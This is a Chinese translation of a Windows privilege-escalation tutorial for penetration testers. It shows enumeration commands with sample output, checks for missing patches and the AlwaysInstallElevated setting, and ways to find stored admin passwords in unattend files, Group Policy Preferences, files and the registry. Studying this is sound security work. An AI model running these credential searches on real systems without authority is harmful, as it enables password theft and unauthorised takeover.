Windows提权基本原理

前言 

没有多少人谈论在Windows下提权,是一件让人遗憾的事!我想,没有人这么做的理由有以下几点:

  • 在渗透测试项目中,客户需要的验证就是一个低权限shell。 
  • 在演示环境,你经常就会得到管理员帐户。 
  • meterpreter使你变得懒惰(getsystem = lazy-fu)。 
  • 最后的评估报告最终变成 – ->nessus安全认证扫描,微软安全基线分析….

尽管通常的感觉是配置得当的windows是安全的。但是事实真的是这样吗?因此,让我们深入了解Windows操作系统的黑暗角落,看看我们是否能得到SYSTEM权限。

应该注意的是,我将使用不同版本的Windows来强调任何可能存在的命令行差异。请牢记这一点,因为不同的操作系统和版本差异会在命令行中显现。我试图构造本教程,以便它适用于Windows提权的最普遍的方式。 最后,我想对我的朋友Kostas大声说,他真的也很喜欢渗透(post-exploitation),你不会想让他进入到你的计算机的。

【必要文档补充】

  • Encyclopaedia Of Windows Privilege Escalation (Brett Moore)
  • Windows Attacks: AT is the new black (Chris Gates & Rob Fuller)
  • Elevating privileges by exploiting weak folder permissions (Parvez Anwar)

译者注:原文作者提了下meterpreter,我们可以把meterpreter比做sql注入利用的sqlmap,在得到meterpreter的shell后,可以输入命令getsystem,自动完成提权。

在t0-t3阶段,最初的信息收集方法

最开始是一个低权限的shell,这个shell可能是通过远程代码执行,钓鱼,反弹得到的。基本上最开始我们对计算机并不了解,比如它是做什么的,有什么连接,我们有什么权限,甚至是什么操作系统。 

在最开始的阶段,我们得快速收集一些基本信息来评估我们的环境。

操作系统 

第一步,让我们找到我们连接的操作系统。

C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601

主机名+当前用户 

接下来,我们看到这台计算机的主机名和我们连接上是哪个用户

C:\Windows\system32> hostname
b33f

C:\Windows\system32> echo %username%
user1

所用用户信息+当前用户所在的组 

现在我们有了一些基本信息,然后我们列出了其他用户帐户,并在更详细的情况下查看我们自己的用户信息。我们已经看到user1不是本地组管理员。

C:\Windows\system32> net users

User accounts for \\B33F

-------------------------------------------------------------------------------
Administrator            b33f                     Guest
user1
The command completed successfully.

C:\Windows\system32> net user user1

User name                    user1
Full Name
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/11/2014 7:47:14 PM
Password expires             Never
Password changeable          1/11/2014 7:47:14 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/11/2014 8:05:09 PM

Logon hours allowed          All

Local Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.

网络接口+路由表 

这就是我们目前需要了解的关于用户和权限的全部内容。接下来我们要讨论的是网络信息,连接的设备是什么,以及它对这些连接施加了什么规则。 

首先让我们看一下可用的网络接口和路由表。

C:\Windows\system32> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : b33f
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
   Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   
Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-56-79-35
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
   Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
   Default Gateway . . . . . . . . . : 192.168.0.1
   DHCP Server . . . . . . . . . . . : 192.168.0.1
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
   DNS Servers . . . . . . . . . . . : 192.168.0.1
   NetBIOS over Tcpip. . . . . . . . : Enabled

C:\Windows\system32> route print

===========================================================================
Interface List
 18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
 13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
 11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
  1...........................Software Loopback Interface 1
 16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
 15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
 19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
 14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      192.168.0.1    192.168.0.104     10
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    306
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    306
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    306
      192.168.0.0    255.255.255.0         On-link     192.168.0.104    266
    192.168.0.104  255.255.255.255         On-link     192.168.0.104    266
    192.168.0.255  255.255.255.255         On-link     192.168.0.104    266
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    306
        224.0.0.0        240.0.0.0         On-link     192.168.0.104    266
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    306
  255.255.255.255  255.255.255.255         On-link     192.168.0.104    266
===========================================================================
Persistent Routes:
  None

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
 14     58 ::/0                     On-link
  1    306 ::1/128                  On-link
 14     58 2001::/32                On-link
 14    306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
                                    On-link
 11    266 fe80::/64                On-link
 14    306 fe80::/64                On-link
 14    306 fe80::8d2:b4e:3f57:ff97/128
                                    On-link
 11    266 fe80::5cd4:9caf:61c0:ba6e/128
                                    On-link
  1    306 ff00::/8                 On-link
 14    306 ff00::/8                 On-link
 11    266 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None

Arp缓存表 

arp -A显示了所有可用接口的arp(地址解析协议)缓存表。

C:\Windows\system32> arp -A

Interface: 192.168.0.104 --- 0xb
  Internet Address      Physical Address      Type
  192.168.0.1           90-94-e4-c5-b0-46     dynamic
  192.168.0.101         ac-22-0b-af-bb-43     dynamic
  192.168.0.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

这就使我们了解了活动网络连接和防火墙规则

C:\Windows\system32> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       684
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:5354         0.0.0.0:0              LISTENING       1400
  TCP    192.168.0.104:139      0.0.0.0:0              LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       684
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5357              [::]:0                 LISTENING       4
  UDP    0.0.0.0:5355           *:*                                    1100
  UDP    0.0.0.0:52282          *:*                                    976
  UDP    0.0.0.0:55202          *:*                                    2956
  UDP    0.0.0.0:59797          *:*                                    1400
  UDP    127.0.0.1:1900         *:*                                    2956
  UDP    127.0.0.1:65435        *:*                                    2956
  UDP    192.168.0.104:137      *:*                                    4
  UDP    192.168.0.104:138      *:*                                    4
  UDP    192.168.0.104:1900     *:*                                    2956
  UDP    192.168.0.104:5353     *:*                                    1400
  UDP    192.168.0.104:65434    *:*                                    2956
  UDP    [::]:5355              *:*                                    1100
  UDP    [::]:52281             *:*                                    976
  UDP    [::]:52283             *:*                                    976
  UDP    [::]:55203             *:*                                    2956
  UDP    [::]:59798             *:*                                    1400
  UDP    [::1]:1900             *:*                                    2956
  UDP    [::1]:5353             *:*                                    1400
  UDP    [::1]:65433            *:*                                    2956
  UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:1900  *:*                      2956
  UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:65432  *:*                     2956

查看防火墙转态+防火墙配置信息 

以下两个netsh命令是在不同操作系统的命令示例。netsh firewall命令只能从XP SP2和以上版本运行。

C:\Windows\system32> netsh firewall show state

Firewall status:
-------------------------------------------------------------------
Profile                           = Standard
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable
Group policy version              = Windows Firewall
Remote admin mode                 = Disable

Ports currently open on all network interfaces:
Port   Protocol  Version  Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.

C:\Windows\system32> netsh firewall show config

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Allowed programs configuration for Domain profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------

Port configuration for Domain profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------

ICMP configuration for Domain profile:
Mode     Type  Description
-------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Service configuration for Standard profile:
Mode     Customized  Name
-------------------------------------------------------------------
Enable   No          Network Discovery

Allowed programs configuration for Standard profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------
Enable   Inbound              COMRaider / E:\comraider\comraider.exe
Enable   Inbound              nc.exe / C:\users\b33f\desktop\nc.exe

Port configuration for Standard profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------

ICMP configuration for Standard profile:
Mode     Type  Description
-------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Log configuration:
-------------------------------------------------------------------
File location   = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size   = 4096 KB
Dropped packets = Disable
Connections     = Disable

查看 进程+服务+计划任务+驱动程序 

最后,我们将简要地看一下在这个设备上运行的有什么,比如计划任务、运行进程、启动服务和安装的驱动程序。 这将显示所有调度任务的详细输出,下面您可以看到单个任务的示例输出。

C:\Windows\system32> schtasks /query /fo LIST /v

Folder: \Microsoft\Windows Defender
HostName:                             B33F
TaskName:                             \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time:                        1/22/2014 5:11:13 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        N/A
Last Result:                          1
Author:                               N/A
Task To Run:                          c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
                                      -WinTask -RestrictPrivilegesScan
Start In:                             N/A
Comment:                              Scheduled Scan
Scheduled Task State:                 Enabled
Idle Time:                            Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management:                     No Start On Batteries
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           5:11:13 AM
Start Date:                           1/1/2000
End Date:                             1/1/2100
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled
[..Snip..]

进程+服务

C:\Windows\system32> tasklist /SVC

Image Name                     PID Services
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
smss.exe                       244 N/A
csrss.exe                      332 N/A
csrss.exe                      372 N/A
wininit.exe                    380 N/A
winlogon.exe                   428 N/A
services.exe                   476 N/A
lsass.exe                      484 SamSs
lsm.exe                        496 N/A
svchost.exe                    588 DcomLaunch, PlugPlay, Power
svchost.exe                    668 RpcEptMapper, RpcSs
svchost.exe                    760 Audiosrv, Dhcp, eventlog,
                                   HomeGroupProvider, lmhosts, wscsvc
svchost.exe                    800 AudioEndpointBuilder, CscService, Netman,
                                   SysMain, TrkWks, UxSms, WdiSystemHost,
                                   wudfsvc
svchost.exe                    836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
                                   LanmanServer, MMCSS, ProfSvc, Schedule,
                                   seclogon, SENS, ShellHWDetection, Themes,
                                   Winmgmt, wuauserv
audiodg.exe                    916 N/A
svchost.exe                    992 EventSystem, fdPHost, netprofm, nsi,
                                   WdiServiceHost, WinHttpAutoProxySvc
svchost.exe                   1104 CryptSvc, Dnscache, LanmanWorkstation,
                                   NlaSvc
spoolsv.exe                   1244 Spooler
svchost.exe                   1272 BFE, DPS, MpsSvc
mDNSResponder.exe             1400 Bonjour Service
taskhost.exe                  1504 N/A
taskeng.exe                   1556 N/A
vmtoolsd.exe                  1580 VMTools
dwm.exe                       1660 N/A
explorer.exe                  1668 N/A
vmware-usbarbitrator.exe      1768 VMUSBArbService
TPAutoConnSvc.exe             1712 TPAutoConnSvc
[..Snip..]

C:\Windows\system32> net start

These Windows services are started:

   Application Experience
   Application Information
   Background Intelligent Transfer Service
   Base Filtering Engine
   Bluetooth Support Service
   Bonjour Service
   COM+ Event System
   COM+ System Application
   Cryptographic Services
   DCOM Server Process Launcher
   Desktop Window Manager Session Manager
   DHCP Client
   Diagnostic Policy Service
   Diagnostic Service Host
   Diagnostic System Host
   Distributed Link Tracking Client
   Distributed Transaction Coordinator
   DNS Client
   Function Discovery Provider Host
   Function Discovery Resource Publication
   Group Policy Client
[..Snip..]
# DRIVERQUERY有时是有用的,因为一些第三方驱动,即使是信誉良好的公司,也比ring0的洞多。这是可能的,因为ring0的利用是在大多数人的专长技能之外。

驱动信息

C:\Windows\system32> DRIVERQUERY

Module Name  Display Name           Driver Type   Link Date
============ ====================== ============= ======================
1394ohci     1394 OHCI Compliant Ho Kernel        11/20/2010 6:01:11 PM
ACPI         Microsoft ACPI Driver  Kernel        11/20/2010 4:37:52 PM
AcpiPmi      ACPI Power Meter Drive Kernel        11/20/2010 4:47:55 PM
adp94xx      adp94xx                Kernel        12/6/2008 7:59:55 AM
adpahci      adpahci                Kernel        5/2/2007 1:29:26 AM
adpu320      adpu320                Kernel        2/28/2007 8:03:08 AM
AFD          Ancillary Function Dri Kernel        11/20/2010 4:40:00 PM
agp440       Intel AGP Bus Filter   Kernel        7/14/2009 7:25:36 AM
aic78xx      aic78xx                Kernel        4/12/2006 8:20:11 AM
aliide       aliide                 Kernel        7/14/2009 7:11:17 AM
amdagp       AMD AGP Bus Filter Dri Kernel        7/14/2009 7:25:36 AM
amdide       amdide                 Kernel        7/14/2009 7:11:19 AM
AmdK8        AMD K8 Processor Drive Kernel        7/14/2009 7:11:03 AM
AmdPPM       AMD Processor Driver   Kernel        7/14/2009 7:11:03 AM
amdsata      amdsata                Kernel        3/19/2010 9:08:27 AM
amdsbs       amdsbs                 Kernel        3/21/2009 2:35:26 AM
amdxata      amdxata                Kernel        3/20/2010 12:19:01 AM
AppID        AppID Driver           Kernel        11/20/2010 5:29:48 PM
arc          arc                    Kernel        5/25/2007 5:31:06 AM
[..Snip..]

在t4阶段,神秘艺术之WMIC

我想提下WMIC (Windows Management Instrumentation Command-Line,Windows管理工具命令行),因为它是Windows最有用的命令行工具。WMIC对于信息收集和渗透都是非常实用的而且输出内容有很多值得期待的地方。全面解释WMIC的使用将需要一个教程。补充一点,由于格式化的问题,WMIC有些输出将很难显示。 我将会在下面列出两个文章,这两个文章对于WMIC是非常值得阅读的。

Command-Line Ninjitsu (SynJunkie) - here
Windows WMIC Command Line (ComputerHope) - here

糟糕的是,一些默认配置的windows并不允许访问WMIC,除非是用户在windows的管理组,从我的虚拟机测试来看,任何版本的windows xp的低权限用户并不能访问WMIC。相反的,默认配置的windows 7 专业版和windows 8 企业版允许低权限的用户访问WMIC并查询操作系统版本。这正是我们所需要的,因为我们正在使用WMIC来收集关于目标机的信息。 关于WMIC的选项,我已经列出了下面可用的命令行。

C:\Windows\system32> wmic /?

[global switches] 

The following global switches are available:
/NAMESPACE           Path for the namespace the alias operate against.
/ROLE                Path for the role containing the alias definitions.
/NODE                Servers the alias will operate against.
/IMPLEVEL            Client impersonation level.
/AUTHLEVEL           Client authentication level.
/LOCALE              Language id the client should use.
/PRIVILEGES          Enable or disable all privileges.
/TRACE               Outputs debugging information to stderr.
/RECORD              Logs all input commands and output.
/INTERACTIVE         Sets or resets the interactive mode.
/FAILFAST            Sets or resets the FailFast mode.
/USER                User to be used during the session.
/PASSWORD            Password to be used for session login.
/OUTPUT              Specifies the mode for output redirection.
/APPEND              Specifies the mode for output redirection.
/AGGREGATE           Sets or resets aggregate mode.
/AUTHORITY           Specifies the  for the connection.
/?[:]    Usage information.

For more information on a specific global switch, type: switch-name /?


The following alias/es are available in the current role:
ALIAS                    - Access to the aliases available on the local system
BASEBOARD                - Base board (also known as a motherboard or system board) management.
BIOS                     - Basic input/output services (BIOS) management.
BOOTCONFIG               - Boot configuration management.
CDROM                    - CD-ROM management.
COMPUTERSYSTEM           - Computer system management.
CPU                      - CPU management.
CSPRODUCT                - Computer system product information from SMBIOS.
DATAFILE                 - DataFile Management.
DCOMAPP                  - DCOM Application management.
DESKTOP                  - User's Desktop management.
DESKTOPMONITOR           - Desktop Monitor management.
DEVICEMEMORYADDRESS      - Device memory addresses management.
DISKDRIVE                - Physical disk drive management.
DISKQUOTA                - Disk space usage for NTFS volumes.
DMACHANNEL               - Direct memory access (DMA) channel management.
ENVIRONMENT              - System environment settings management.
FSDIR                    - Filesystem directory entry management.
GROUP                    - Group account management.
IDECONTROLLER            - IDE Controller management.
IRQ                      - Interrupt request line (IRQ) management.
JOB                      - Provides  access to the jobs scheduled using the schedule service.
LOADORDER                - Management of system services that define execution dependencies.
LOGICALDISK              - Local storage device management.
LOGON                    - LOGON Sessions.
MEMCACHE                 - Cache memory management.
MEMORYCHIP               - Memory chip information.
MEMPHYSICAL              - Computer system's physical memory management.
NETCLIENT                - Network Client management.
NETLOGIN                 - Network login information (of a particular user) management.
NETPROTOCOL              - Protocols (and their network characteristics) management.
NETUSE                   - Active network connection management.
NIC                      - Network Interface Controller (NIC) management.
NICCONFIG                - Network adapter management.
NTDOMAIN                 - NT Domain management.
NTEVENT                  - Entries in the NT Event Log.
NTEVENTLOG               - NT eventlog file management.
ONBOARDDEVICE            - Management of common adapter devices built into the motherboard (system board).
OS                       - Installed Operating System/s management.
PAGEFILE                 - Virtual memory file swapping management.
PAGEFILESET              - Page file settings management.
PARTITION                - Management of partitioned areas of a physical disk.
PORT                     - I/O port management.
PORTCONNECTOR            - Physical connection ports management.
PRINTER                  - Printer device management.
PRINTERCONFIG            - Printer device configuration management.
PRINTJOB                 - Print job management.
PROCESS                  - Process management.
PRODUCT                  - Installation package task management.
QFE                      - Quick Fix Engineering.
QUOTASETTING             - Setting information for disk quotas on a volume.
RDACCOUNT                - Remote Desktop connection permission management.
RDNIC                    - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS            - Permissions to a specific Remote Desktop connection.
RDTOGGLE                 - Turning Remote Desktop listener on or off remotely.
RECOVEROS                - Information that will be gathered from memory when the operating system fails.
REGISTRY                 - Computer system registry management.
SCSICONTROLLER           - SCSI Controller management.
SERVER                   - Server information management.
SERVICE                  - Service application management.
SHADOWCOPY               - Shadow copy management.
SHADOWSTORAGE            - Shadow copy storage area management.
SHARE                    - Shared resource management.
SOFTWAREELEMENT          - Management of the  elements of a software product installed on a system.
SOFTWAREFEATURE          - Management of software product subsets of SoftwareElement.
SOUNDDEV                 - Sound Device management.
STARTUP                  - Management of commands that run automatically when users log onto the computer 
                           system.
SYSACCOUNT               - System account management.
SYSDRIVER                - Management of the system driver for a base service.
SYSTEMENCLOSURE          - Physical system enclosure management.
SYSTEMSLOT               - Management of physical connection points including ports,  slots and 
                           peripherals, and proprietary connections points.
TAPEDRIVE                - Tape drive management.
TEMPERATURE              - Data management of a temperature sensor (electronic thermometer).
TIMEZONE                 - Time zone data management.
UPS                      - Uninterruptible power supply (UPS) management.
USERACCOUNT              - User account management.
VOLTAGE                  - Voltage sensor (electronic voltmeter) data management.
VOLUME                   - Local storage volume management.
VOLUMEQUOTASETTING       - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA          - Per user storage volume quota management.
WMISET                   - WMI service operational parameters management.

For more information on a specific alias, type: alias /?

CLASS     - Escapes to full WMI schema.
PATH      - Escapes to full WMI object paths.
CONTEXT   - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.

For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?

为了简化操作,我已经创建了一个脚本,可以在目标机器上使用WMIC提取以下信息:流程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区信息。 我已经通过各种标志和参数来提取有价值的信息,如果有人想要添加到列表中,请在下面留下评论。使用内置的输出特性,脚本将把所有结果写入一个人类可读的html文件。

脚本地址:http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar 

输出页面:http://www.fuzzysecurity.com/tutorials/files/Win7.html

在t5-t6阶段,快速攻陷 

在继续渗透之前,你需要先回顾一下已经搜集到的信息,信息量应该已经不小了。我们计划的下一步就是要寻找一些能被轻易利用的系统缺陷来提升权限。 显而易见,第一步就是去查看补丁修正情况。如果发现主机已经被打了某些补丁,也不用很担心。我的 WMIC 脚本可以列出所有已安装的补丁,你可以通过下面这条命令来查看:

查看补丁信息

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn

Caption                                     Description      HotFixID   InstalledOn
http://support.microsoft.com/?kbid=2727528  Security Update  KB2727528  11/23/2013
http://support.microsoft.com/?kbid=2729462  Security Update  KB2729462  11/26/2013
http://support.microsoft.com/?kbid=2736693  Security Update  KB2736693  11/26/2013
http://support.microsoft.com/?kbid=2737084  Security Update  KB2737084  11/23/2013
http://support.microsoft.com/?kbid=2742614  Security Update  KB2742614  11/23/2013
http://support.microsoft.com/?kbid=2742616  Security Update  KB2742616  11/26/2013
http://support.microsoft.com/?kbid=2750149  Update           KB2750149  11/23/2013
http://support.microsoft.com/?kbid=2756872  Update           KB2756872  11/24/2013
http://support.microsoft.com/?kbid=2756923  Security Update  KB2756923  11/26/2013
http://support.microsoft.com/?kbid=2757638  Security Update  KB2757638  11/23/2013
http://support.microsoft.com/?kbid=2758246  Update           KB2758246  11/24/2013
http://support.microsoft.com/?kbid=2761094  Update           KB2761094  11/24/2013
http://support.microsoft.com/?kbid=2764870  Update           KB2764870  11/24/2013
http://support.microsoft.com/?kbid=2768703  Update           KB2768703  11/23/2013
http://support.microsoft.com/?kbid=2769034  Update           KB2769034  11/23/2013
http://support.microsoft.com/?kbid=2769165  Update           KB2769165  11/23/2013
http://support.microsoft.com/?kbid=2769166  Update           KB2769166  11/26/2013
http://support.microsoft.com/?kbid=2770660  Security Update  KB2770660  11/23/2013
http://support.microsoft.com/?kbid=2770917  Update           KB2770917  11/24/2013
http://support.microsoft.com/?kbid=2771821  Update           KB2771821  11/24/2013
[..Snip..]

但这些输出并不代表一定可以被利用,最好的策略先是去寻找可以提升权限的 EXP 以及它们的补丁编号。这些 EXP 包括但不限于:KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。在列举了系统版本和补丁包后,你应该发现哪些权限提升漏洞可以被复现,使用补丁包编号你可以过滤掉那些已经被安装的补丁,检查一下是否有被漏打的补丁。

补丁包过滤 

以下是对补丁包进行过滤的语法

C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

接下来我们将会有很多新发现。一般情况下,如果需要给很多机器配置同一个环境,一个技术人员一定不会逐个安装配置这些机器,而是会选择一些自动化安装的解决方案。这些方案是什么以及它们是如何工作的与我们当下所做的事不是很相关,重要的是他们留下的用于安装流程的配置文件,这些配置文件包含大量的敏感信息,例如操作系统的产品密钥和管理员密码。而我们最最感兴趣的就是管理员密码,因为我们可以借此来提升我们的权限。 以下是一些经常被用于存放配置文件的位置(当然检查整个系统也是可以的)

c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

这些目录中的文件可能包含着明文密码,或是Base64加密后的密码。下面是一些文件中的样例:

# This is a sample from sysprep.inf with clear-text credentials.

[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20

# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".


    
        
            U3VwZXJTZWN1cmVQYXNzd29yZA==
            false</PlainText>
        </Password>
        <Description>Local Administrator</Description>
        <DisplayName>Administrator</DisplayName>
        <Group>Administrators</Group>
        <Name>Administrator</Name>
    </LocalAccount>
</LocalAccounts>

# Sample from Unattended.xml with the same "secure" Base64 encoding.

<AutoLogon>
    <Password>
        <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
        <PlainText>false</PlainText>
    </Password>
    <Enabled>true</Enabled>
    <Username>Administrator</Username>
</AutoLogon></code></pre> 
  <p>在 Ben Campbell (@Meatballs__) 的推荐下,我将获取组策略首选项 ( Group Policy Preferences ) 保存的密码也作为快速攻陷目标机器的方式之一。组策略首选项文件可以被用于去创建域内主机的本地用户。如果你控制的机器被连接到一个域内,那么去查找一下存储在 SYSVOL 中的 Groups.xml 文件也是很有意义的,而且所有被授权的用户都有该文件的读权限。在这个 xml 文件中的密码只是被临时用户“模糊”地用 AES 加密了,说“模糊”是因为静态密钥已经被公开的公布于 msdn 网站上,所以可以轻松地破解这些密码。</p> 
  <p><a href="http://img.e-com-net.com/image/info8/fa3deb5520bc408986a5f2fb1367b5a0.jpg" target="_blank"><img alt="Windows提权基本原理_第1张图片" height="216" src="http://img.e-com-net.com/image/info8/fa3deb5520bc408986a5f2fb1367b5a0.jpg" width="515" style="border:1px solid black;"></a></p> 
  <p>除了 Groups.xml 还有几个其他的策略首选项文件也同样含有可选的 “cPassword” 属性:</p> 
  <pre><code>Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes</code></pre> 
  <p>这个漏洞可以通过手动浏览 SYSVOL 文件夹和抓取相关文件来利用,证明如下</p> 
  <p><a href="http://img.e-com-net.com/image/info8/1c0d91accae04160bba321fc6280c329.jpg" target="_blank"><img alt="Windows提权基本原理_第2张图片" height="229" src="http://img.e-com-net.com/image/info8/1c0d91accae04160bba321fc6280c329.jpg" width="590" style="border:1px solid black;"></a></p> 
  <p>然而,我们都希望有一个自动化的解决方案,这样我们就可以尽可能快的完成这项工作。这里主要有两种方式,取决于我们的 shell 类型以及权限大小,</p> 
  <p>(1) 一个是通过已建立的会话执行 metasploit 模块 </p> 
  <p>(2) 你可以使用 PowerSploit 的 Get-GPPPassword 功能。PowerSploit 是一个强大的 powershell 框架,作者是 Matt Graeber(擅长逆向工程、计算机取证以及渗透测试)。</p> 
  <p>接下来我们要查找一个奇怪的注册表设置项 “AlwaysInstallElevated”,如果该设置项被启用,它会允许任何权限的用户以 NT AUTHORITY\SYSTEM 权限来安装 *.msi 文件。可以创建低权限的用户(它们的操作系统使用受到限制)但是却给它们 SYSTEM 权限去安装软件,这在我看来是有些奇怪。想要阅读更多的这方面的背景知识,可以查看这里 ,这是在 GreyHatHacker 博客上 Parvez 的一篇文章,他最早报告了这个安全问题。 为了能利用这个漏洞,我们需要去检查两个注册表键值是否被设置,这是我们是否能弹出 SYSTEM 权限 shell 的关键。以下是查询对应注册表键值的语法</p> 
  <pre><code># This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.

C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated</code></pre> 
  <p>为了完成这个章节,我们还将在操作系统上做一些快速搜索,希望我们可以成功。 执行以下语句完成搜索</p> 
  <pre><code># The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.

C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*

# Search certain file types for a keyword, this can generate a lot of output.

C:\Windows\system32> findstr /si password *.xml *.ini *.txt

# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".

C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s</code></pre> 
  <h3>在t7-t10阶段,撸起袖子加油干 </h3> 
  <p>希望到现在为止,我们已经有了一个 SYSTEM shell,但如果我们还没有,接下来还有一些攻击方法可以尝试。在最后章节我们将会关注于 Windows 服务和文件/目录权限部分。我们的目标是去使用低权限去提升当前会话权限。 </p> 
